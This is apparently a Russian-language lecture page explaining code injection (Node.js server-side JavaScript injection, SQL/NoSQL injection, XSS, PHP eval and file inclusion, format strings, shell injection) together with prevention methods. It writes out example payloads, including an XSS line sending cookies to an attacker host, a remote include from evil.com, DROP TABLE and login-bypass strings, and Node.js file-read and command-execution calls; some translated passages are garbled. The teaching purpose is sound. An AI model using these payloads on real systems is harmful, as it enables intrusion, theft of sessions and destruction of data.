Вам бонус- начислено 1 монета за дневную активность. Сейчас у вас 1 монета

JavaScript Инъекция Server-Side JavaScript Injection (SSJSI) ,NoSQL Injection, Code injection

Лекция



Привет, Вы узнаете о том , что такое javascript инъекция, Разберем основные их виды и особенности использования. Еще будет много подробных примеров и описаний. Для того чтобы лучше понимать что такое javascript инъекция, server-side javascript injection, ssjsi, nosql injection, code injection , настоятельно рекомендую прочитать все из категории Вредоносное ПО и защита информации.

Интерпретируемые языки программирования породили одну из самых интересных и популярных уязвимостей — инъекцию кода.

Существует достаточно много платформ, позволяющих запускать код на лету, и JavaScript (Node.js) не является среди них исключением. Фактически, злоумышленнику надо лишь обнаружить возможность ввода текста, который интерпретируется приложением, как исполняемый код.

Эксплуатируя такую возможность, ввод строки типа while(1) или process.kill(process.pid) может моментально отправить программу в отказ (Denial of Service/DoS).

Но как выходит так, что передаваемый текст на сервере исполняется, как будто это код? Взгляните на изображение ниже (возможно вы не знали о таких возможностях JavaScript):

JavaScript   Инъекция Server-Side JavaScript Injection (SSJSI) ,NoSQL Injection, Code injection

Я знаю, у вас возникает сразу вопрос: кто будет в реальном приложении передавать callback строкой или использовать всем известный злобный eval()? Да, все верно, это не такое частое явление.

Однако, к каким только хитростям не прибегают разработчики, чтобы сделать hotfix. Да и на сколько вы уверены в тех библиотеках, которые используете? Функции семейства eval() часто используется при реализации шаблонизаторов. PayPal, в свое время, использовал javascript-шаблонизатор Dust.js на стороне сервера (библиотека от Linkedin). Какие-нибудь особо смышленые ребята могли воспользоваться функцией eval(), которая вызывалась в ‘if’ helper’е и получить на выходе что-то интересное (например, 10 000$ за найденную уязвимость).

Программисту стоит помнить, что функции eval(), Function(), setTimeout(), setInterval() таят в себе опасность под названием инъекция кода. Кстати, последние две на платформе Node.js не страшны:

JavaScript   Инъекция Server-Side JavaScript Injection (SSJSI) ,NoSQL Injection, Code injection

Но это до первого monkey patching. Этот вектор атаки, среди прочих инъекций кода, получил отдельное название и аббревиатуру— server-side javascript injection (SSJSI).

Доступ к файлам (File System Access)

Отказ в обслуживании (Denial of Service/DoS) не единственное, что может воплотить в жизнь злоумышленник через SSJSI. Будучи знакомым с нюансами фреймворка Express.js, стандартом CommonJS (он, между прочим, используется не только в Node.js, но и, к примеру, в CouchDB), а также немного владея синхронным API модуля fs, можно получить доступ к файлам на сервере:

JavaScript   Инъекция Server-Side JavaScript Injection (SSJSI) ,NoSQL Injection, Code injection
JavaScript   Инъекция Server-Side JavaScript Injection (SSJSI) ,NoSQL Injection, Code injection

Или получить доступ к содержимому серверных файлов. Как по мне, это гораздо интереснее. Можно, например, найти какой-нибудь конфигурационный файл AWS-экземпляров, после чего злоумышленник мог бы использовать эти экземпляры в своих гнусных целях, жертва это даже не сразу обнаружит, если вообще обнаружит.

> res.end(require(‘fs’).readFileSync(‘./package.json’).toString())

JavaScript   Инъекция Server-Side JavaScript Injection (SSJSI) ,NoSQL Injection, Code injection

Запуск исполняемых файлов (Execution of Binary Files)

Используя все тот же богатый функционал платформы Node.js, злоумышленник без труда может вызывать внешние скрипты и исполняемые файлы:

> require(‘child_process’).execSync(‘command’);

JavaScript   Инъекция Server-Side JavaScript Injection (SSJSI) ,NoSQL Injection, Code injection
JavaScript   Инъекция Server-Side JavaScript Injection (SSJSI) ,NoSQL Injection, Code injection

SQL and NoSQL Injection

Базы данных это отдельная тема. Любая БД (RDBMS или NoSQL) — это внешняя программа, с которой мы общаемся посредством исполняемых команд. Не важно это язык SQL или нотация JSON, тут все сводится к тому, чтобы верно оборвать оригинальный запрос и сделать инъекцию своей команды. Ахиллесовой пятой подобной схемы коммуникации приложения и БД всегда были параметризованные запросы и их неверная обработка.

Одна из самых популярных SQL-инъекций, это запись значения в параметр с хвостом типа ‘OR 1=1’

JavaScript   Инъекция Server-Side JavaScript Injection (SSJSI) ,NoSQL Injection, Code injection

Однако есть и другие уловки, к примеру, комментирование остатка запроса через -- ... или /* ...

MySQL (SQL): ввести в поле username cтроку admin' --

JavaScript   Инъекция Server-Side JavaScript Injection (SSJSI) ,NoSQL Injection, Code injection

В NoSQL тот же принцип, злоумышленнику нужно лишь разобраться с выражениями, которые строятся на основе нотации JSON.

MongoDB (JSON): ввести в поле password cтроку {$gt : ""} . В MongoDB это выражение означает “больше чем”. А так как любой пользователь имеет не пустой пароль, то злоумышленнику, эксплуатируя эту инъекцию, достаточно знать лишь логин пользователя.

JavaScript   Инъекция Server-Side JavaScript Injection (SSJSI) ,NoSQL Injection, Code injection

Есть и более интересные особенности, такие как выполнение js-кода. В той же MongoDB, оператор $where может полноценно интерпретировать js-код и все та же строка while(1) приведет БД к отказу в обслуживании.

К слову, видов инъекций, на самом деле, намного больше. SSJSI и SQLi — это то, с чем мы сталкиваемся чаще всего. Но есть и очень много специфичной экзотики, вроде LDAP Injection, XEE Injection, OS Command Injection, XPath Injection, SSI Injection и т.д. На 2017 год инъекция кода по-прежнему в топе списка OWASP и я думаю, что этот тренд будет еще долго сохраняться.

Как я могу предотвратить это?

1Первым пунктом стоит упомянуть о самих фреймворках и библиотеках, многие поставщики предоставляют полезную информацию о том, как именно правильно организовать свое приложение по части безопасности. К примеру, у Express.js на сайте есть очень полезная страничка “Best Practices: Security”.

2В этом нелегком деле могут помочь все те же сканеры уязвимостей. Для SQLi есть очень популярный sqlmap. Metasploit, о котором я упоминал в предыдущей заметке, тоже умеет сканировать приложение на наличие SQLi.

3Используйте директивы, которые устанавливают строгий режим. В JavaScript директива “use strict” накладывает достаточно много ограничений на eval().

4Не выдавать приложению root-права. Да, Node.js является одновременно и сервером приложения, из под sudo можно слушать 80 порт, но не делайте этого на production. Лучше вообще этого не делайте. Руководствуйтесь правилом наименьшая привилегия (Least Privilege). Чтобы свести к минимуму потенциальный урон от успешной инъекционной атаки, не назначайте права доступа DBA или администратора к учетным данным из под которых вы устанавливаете соединения с БД в приложении.

5Валидируйте входные данные. Используйте функции экранирования (escaping) и фильтрация входных данных (sanitizing). Многие библиотеки по работе с БД уже имеют в коробке пару-тройку полезных функций: mysql.escape(), connection.escape(), pool.escape(). Используйте вместо eval() специальные функции парсинга (JSON.parse(), parseInt(), parseFloat()).

6Подготавливайте запросы к БД (prepared statements) и избегайте динамического формирования запросов. Многие инструменты уже оснащены функциями по этой части.

Внедрение кода - это использование компьютерной ошибки , вызванной обработкой недействительных данных. Инъекция используется злоумышленником для введения (или «внедрения») кода в уязвимую компьютерную программу и изменения хода выполнения . Результат успешной инъекции кода может быть катастрофическим, например, из-за возможности распространения компьютерных вирусов или компьютерных червей .

Уязвимости внедрения кода возникают, когда приложение отправляет интерпретатору ненадежные данные . Недостатки внедрения чаще всего встречаются в запросах SQL , LDAP , XPath или NoSQL ; Команды ОС; Анализаторы XML , заголовки SMTP , аргументы программы и т. Д. Недостатки внедрения, как правило, легче обнаружить при изучении исходного кода, чем при тестировании. Сканеры и фаззеры могут помочь найти недостатки инъекции.

Внедрение может привести к потере или повреждению данных, отсутствию ответственности или отказу в доступе . Инъекция иногда может привести к полному захвату хозяина.

Некоторые типы внедрения кода являются ошибками в интерпретации, придающими особое значение пользовательскому вводу. Подобные ошибки интерпретации существуют и за пределами мира информатики, например, в комедийной программе « Кто на первом месте?». . В повседневной жизни не удается отличить имена собственные от обычных слов. Точно так же при некоторых типах внедрения кода не удается отличить ввод пользователя от системных команд.

Методы внедрения кода популярны при взломе системы или взломе с целью получения информации, повышения привилегий или несанкционированного доступа к системе. Внедрение кода может использоваться злонамеренно для многих целей, в том числе:

  • Произвольное изменение значений в базе данных с помощью SQL-инъекции . Последствия этого могут варьироваться от повреждения веб-сайта до серьезной компрометации конфиденциальных данных.
  • Установка вредоносного ПО или выполнение вредоносного кода на сервере путем внедрения кода сценария сервера (например, PHP или ASP ).
  • Повышение привилегий до полномочий root путем использования уязвимостей Shell Injection в двоичном файле setuid root в UNIX или в локальной системе путем использования службы в Microsoft Windows .
  • Атака на веб-пользователей с помощью внедрения HTML / скриптов ( межсайтовый скриптинг ).

В 2008 г. 5,66% всех уязвимостей, обнаруженных в этом году, были классифицированы как внедрение кода, что является самым высоким показателем за всю историю наблюдений. В 2015 году этот показатель снизился до 0,77%.

Доброкачественное и непреднамеренное использование

Внедрение кода может использоваться с добрыми намерениями; например, изменение или настройка поведения программы или системы посредством внедрения кода может привести к тому, что система будет вести себя определенным образом без какого-либо злонамеренного намерения. Внедрение кода может, например:

  • Представьте новый полезный столбец, которого не было в исходном дизайне страницы результатов поиска.
  • Предложите новый способ фильтрации, упорядочивания или группировки данных с помощью поля, не отображаемого в функциях по умолчанию исходного дизайна.
  • Что касается таких программ, как Dropbox , добавьте специальные части, которые можно использовать для подключения к онлайн-ресурсам в автономной программе.
  • Используйте Linux Dynamic Linker, чтобы определить функцию с тем же именем, что и некоторые функции libc , связать эту функцию как библиотеку и переопределить использование функции libc. Об этом говорит сайт https://intellect.icu .

Некоторые пользователи могут ничего не подозревать о внедрении кода, потому что вводимые ими в программу данные не были учтены теми, кто изначально разработал систему. Например:

  • То, что пользователь может считать допустимым вводом, может содержать символы токена или символьные строки , которые были зарезервированы разработчиком, чтобы иметь особое значение (возможно, "&" в "Shannon & Jason" или кавычки, как в "Bub 'Slugger' McCracken ").
  • Пользователь может отправить искаженный файл в качестве входных данных, которые корректно обрабатываются в одном приложении, но являются токсичными для принимающей системы.

Другим безобидным применением внедрения кода может быть обнаружение самих дефектов внедрения с целью их исправления. Это известно как тест на проникновение по принципу « белой шляпы» .

Предотвращение проблем

Чтобы предотвратить проблемы с внедрением кода, используйте безопасную обработку ввода и вывода, например:

  • Использование API, которые при правильном использовании защищены от всех вводимых символов. Параметризованные запросы (также известные как «Скомпилированные запросы», «подготовленные операторы», «связанные переменные») позволяют перемещать пользовательские данные из строки для интерпретации. Кроме того, Criteria API и аналогичные API отошли от концепции командных строк, которые должны быть созданы и интерпретированы.
  • Обеспечение разделения языков с помощью системы статических типов .
  • Проверка ввода, такая как внесение в белый список только известных хороших значений, может выполняться на стороне клиента, например, с использованием JavaScript, или на стороне сервера, что более безопасно.
  • Кодировка ввода, например, экранирование опасных символов. Например, в PHP используется htmlspecialchars()функция для экранирования специальных символов для безопасного вывода текста в HTML и mysqli::real_escape_string()для изоляции данных, которые будут включены в запрос SQL, для защиты от внедрения SQL.
  • Кодирование вывода, то есть предотвращение атак HTML Injection (XSS) на посетителей веб-сайта.
  • HttpOnly- это флаг для файлов cookie HTTP, который, если он установлен, не позволяет клиентскому сценарию взаимодействовать с файлами cookie, тем самым предотвращая определенные атаки XSS.
  • Отделение модульной оболочки от ядра
  • С помощью SQL Injection можно использовать параметризованные запросы , хранимые процедуры , проверку ввода белого списка и многое другое, чтобы помочь смягчить проблемы с внедрением кода. [10]

Перечисленные выше решения касаются в основном веб-инъекции кода HTML или сценария в серверное приложение. Однако при внедрении пользовательского кода на пользовательский компьютер необходимо использовать другие подходы, что приводит к атакам с повышением привилегий. Вот некоторые подходы, которые используются для обнаружения и изолирования инъекций управляемого и неуправляемого кода:

  • Проверка хэша образа во время выполнения - захватите хэш части или полного образа исполняемого файла, загруженного в память, и сравните его с сохраненным и ожидаемым хешем.
  • Бит NX - все пользовательские данные хранятся в специальных разделах памяти, которые помечены как неисполняемые. Процессор получает информацию о том, что в этой части памяти нет кода, и отказывается выполнять что-либо, находящееся там.
  • Канарейки - случайное размещение значений в стеке. Во время выполнения канарейка проверяется при возврате функции. Если канарейка была изменена, программа останавливает выполнение и завершает работу. Это происходит при атаке переполнения стека .
  • [В C] Маскирование указателя кода (CPM) - после загрузки (потенциально измененного) указателя кода в регистр примените к указателю битовую маску . Это эффективно ограничивает адреса, на которые может ссылаться указатель. [11]

Примеры

SQL-инъекция

SQL-инъекция использует синтаксис SQL для ввода команд, которые могут читать или изменять базу данных или нарушать смысл исходного запроса.

Например, рассмотрим веб-страницу с двумя полями, позволяющими пользователям вводить имя пользователя и пароль. Код за страницей сгенерирует SQL- запрос для проверки пароля на соответствие списку имен пользователей:

SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'Password'

Если этот запрос возвращает какие-либо строки, доступ предоставляется. Однако, если злонамеренный пользователь вводит действительное имя пользователя и вводит действительный код ( password' OR '1'='1) в поле «Пароль», то результирующий запрос будет выглядеть следующим образом:

SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'password' OR '1'='1'

В приведенном выше примере предполагается, что «Пароль» - это пустая строка или какая-то безобидная строка. " '1'='1'" всегда будет истинным, и будет возвращено много строк, что позволит получить доступ.

Методика может быть усовершенствована, чтобы позволить запускать несколько операторов или даже загружать и запускать внешние программы.

Предположим, что запрос имеет следующий формат:

SELECT User.UserID
FROM User
WHERE User.UserID = ' " + UserID + " '
AND User.Pwd = ' " + Password + " '

Если злоумышленник имеет следующие входные данные:

UserID: ';DROP TABLE User; --'

Password: 'OR"='

запрос будет проанализирован следующим образом:

SELECT User.UserID
FROM User
WHERE User.UserID = '';DROP TABLE User; --'AND Pwd = ''OR"='

В результате таблица Userбудет удалена из базы данных. Это происходит потому, что ;символ обозначает конец одной команды и начало новой. --означает начало комментария.

Межсайтовый скриптинг

Внедрение кода - это злонамеренная инъекция или введение кода в приложение. На некоторых веб-серверах есть сценарий гостевой книги, который принимает небольшие сообщения от пользователей и обычно принимает такие сообщения, как:

Очень красивый сайт!

Однако злоумышленник может знать об уязвимости внедрения кода в гостевой книге и вводит такое сообщение, как:

Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal=" + escape(document.cookie)</script>

Если другой пользователь просматривает страницу, внедренный код будет выполнен. Этот код может позволить злоумышленнику выдать себя за другого пользователя. Однако такая же программная ошибка может быть случайно вызвана непритязательным пользователем, что приведет к отображению на веб-сайте плохого HTML-кода.

HTML и внедрение скриптов - популярная тема, обычно называемая « межсайтовым скриптингом » или «XSS». XSS относится к недостатку внедрения, при котором пользовательский ввод в веб-сценарий или что-то в этом роде помещается в выходной HTML-код без проверки на наличие HTML-кода или сценариев.

Многие из этих проблем связаны с ошибочными предположениями о том, какие входные данные возможны, или с влиянием специальных данных. [12]

Уязвимости динамической оценки

Уязвимость внедрения возникает, когда злоумышленник может контролировать всю или часть входной строки, которая передается в вызов функции. [13]eval()eval()

$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');

Аргумент " eval" будет обработан как PHP , поэтому можно добавлять дополнительные команды. Например, если "arg" установлен в " ", запускается дополнительный код, который выполняет программу на сервере, в данном случае " ". 10; system('/bin/echo uh-oh')/bin/echo

Внедрение объекта

PHP позволяет сериализацию и десериализацию целых объектов . Если в функцию десериализации разрешен ввод без доверия, можно перезаписать существующие классы в программе и выполнить злонамеренные атаки. [14] Подобная атака на Joomla была обнаружена в 2013 году. [15]

Удаленное внедрение файла Уязвимость включения файлов

Рассмотрим эту программу PHP (которая включает файл, указанный в запросе):

<?php
$color = 'blue';
if (isset($_GET['color']))
    $color = $_GET['color'];
require($color . '.php');

Пример может быть прочитан только как цветные файлы blue.phpи red.phpможет быть загружен, в то время как злоумышленники могут обеспечить COLOR=http://evil.com/exploitзагрузку внешнего файла PHP.

Внедрение спецификатора формата неконтролируемая строка формата

Ошибки форматной строки чаще всего возникают, когда программист хочет напечатать строку, содержащую данные, введенные пользователем. Программист может ошибочно написать printf(buffer)вместо printf("%s", buffer). Первая версия интерпретируется bufferкак строка формата и анализирует любые инструкции форматирования, которые она может содержать. Вторая версия просто выводит строку на экран, как задумал программист. Рассмотрим следующую короткую программу на C, в которой есть массив символов локальной переменной, passwordсодержащий пароль; программа запрашивает у пользователя целое число и строку, а затем выводит введенную пользователем строку.

char user_input[100];
  int int_in;
  char password[10] = "Password1";

  printf("Enter an integer\n");
  scanf("%d", &int_in);
  printf("Please enter a string\n");
  fgets(user_input, sizeof(user_input), stdin);
  
  printf(user_input); // Safe version is: printf("%s", user_input);  
  printf("\n");

  return 0;

Если пользовательский ввод заполнен списком спецификаторов формата, таких как %s%s%s%s%s%s%s%s, тогда printf()начнется чтение из стека . В конце концов, один из %sописателей формата получит доступ к адресу password, который находится в стеке, и выведет Password1его на экран.

Внедрение оболочки

Внедрение оболочки (или внедрение команды [16] ) названо в честь оболочек Unix , но применяется к большинству систем, которые позволяют программному обеспечению программно выполнять командную строку . Вот пример уязвимого tcsh- скрипта:

#!/bin/tcsh
# check arg outputs it matches if arg is one 
if ($1 == 1) echo it matches

Если указанное выше хранится в исполняемом файле ./check, команда оболочки ./check " 1 ) evil"попытается выполнить внедренную команду оболочки evilвместо сравнения аргумента с постоянным. Здесь атакованный код - это код, который пытается проверить параметр, тот самый код, который, возможно, пытался проверить параметр для защиты от атаки. [17]

Любая функция, которую можно использовать для составления и выполнения команды оболочки, является потенциальным средством для запуска атаки путем внедрения оболочки. Среди них system(), StartProcess() и System.Diagnostics.Process.Start().

Клиент-серверные системы, такие как взаимодействие веб-браузера с веб-серверами , потенциально уязвимы для внедрения оболочки. Рассмотрим следующую короткую программу PHP, которую можно запустить на веб-сервере для запуска внешней программы, вызываемой funnytextдля замены слова, отправленного пользователем, другим словом.

<? php 
passthru ( "/bin/funnytext"  .  $ _GET ['USER_INPUT']);

В passthruприведенном выше примере составляет команду оболочки, которая затем выполняется веб-сервером. Поскольку часть составляемой команды берется из URL-адреса, предоставленного веб-браузером, это позволяет URL-адресу вводить вредоносные команды оболочки. Можно внедрить код в эту программу несколькими способами, используя синтаксис различных функций оболочки (этот список не является исчерпывающим):

Особенность оболочки USER_INPUT значение Результирующая команда оболочки Объяснение
Sequential execution ; malicious_command /bin/funnytext ; malicious_command Executes funnytext, then executes malicious_command.
Pipelines | malicious_command /bin/funnytext | malicious_command Sends the output of funnytext as input to malicious_command.
Command substitution `malicious_command` /bin/funnytext `malicious_command` Sends the output of malicious_command as arguments to funnytext.
Command substitution $(malicious_command) /bin/funnytext $(malicious_command) Sends the output of malicious_command as arguments to funnytext.
AND list && malicious_command /bin/funnytext && malicious_command Executes malicious_command iff funnytext returns an exit status of 0 (success).
OR list || malicious_command /bin/funnytext || malicious_command Executes malicious_command iff funnytext returns a nonzero exit status (error).
Output redirection > ~/.bashrc /bin/funnytext > ~/.bashrc Overwrites the contents the .bashrc file with the output of funnytext.
Input redirection < ~/.bashrc /bin/funnytext < ~/.bashrc Sends the contents of the .bashrc file as input to funnytext.

Некоторые языки предлагают функции для правильного экранирования или заключения в кавычки строк, которые используются для создания команд оболочки:

  • PHP: escapeshellarg()и escapeshellcmd()
  • Python :shlex.quote()

Тем не менее, это по-прежнему обременяет программистов знать / изучать эти функции и не забывать использовать их каждый раз, когда они используют команды оболочки. В дополнение к использованию этих функций также рекомендуется проверка или дезинфекция вводимых пользователем данных.

Более безопасная альтернатива - использовать API-интерфейсы, которые выполняют внешние программы напрямую, а не через оболочку, что предотвращает возможность внедрения оболочки. Однако эти API, как правило, не поддерживают различные удобные функции оболочек и / или являются более громоздкими / подробными по сравнению с кратким синтаксисом оболочки.

Вау!! 😲 Ты еще не читал? Это зря!

Данная статья про javascript инъекция подтверждают значимость применения современных методик для изучения данных проблем. Надеюсь, что теперь ты понял что такое javascript инъекция, server-side javascript injection, ssjsi, nosql injection, code injection и для чего все это нужно, а если не понял, или есть замечания, то не стесняйся, пиши или спрашивай в комментариях, с удовольствием отвечу. Для того чтобы глубже понять настоятельно рекомендую изучить всю информацию из категории Вредоносное ПО и защита информации

создано: 2021-03-23
обновлено: 2021-03-23
132265



Рейтиг 9 of 10. count vote: 2
Вы довольны ?:


Поделиться:

Найди готовое или заработай

С нашими удобными сервисами без комиссии*

Как это работает? | Узнать цену?

Найти исполнителя
$0 / весь год.
  • У вас есть задание, но нет времени его делать
  • Вы хотите найти профессионала для выплнения задания
  • Возможно примерение функции гаранта на сделку
  • Приорететная поддержка
  • идеально подходит для студентов, у которых нет времени для решения заданий
Готовое решение
$0 / весь год.
  • Вы можите продать(исполнителем) или купить(заказчиком) готовое решение
  • Вам предоставят готовое решение
  • Будет предоставлено в минимальные сроки т.к. задание уже готовое
  • Вы получите базовую гарантию 8 дней
  • Вы можете заработать на материалах
  • подходит как для студентов так и для преподавателей
Я исполнитель
$0 / весь год.
  • Вы профессионал своего дела
  • У вас есть опыт и желание зарабатывать
  • Вы хотите помочь в решении задач или написании работ
  • Возможно примерение функции гаранта на сделку
  • подходит для опытных студентов так и для преподавателей



Комментарии


Оставить комментарий
Если у вас есть какое-либо предложение, идея, благодарность или комментарий, не стесняйтесь писать. Мы очень ценим отзывы и рады услышать ваше мнение.
To reply

Вредоносное ПО и защита информации

Термины: Вредоносное ПО и защита информации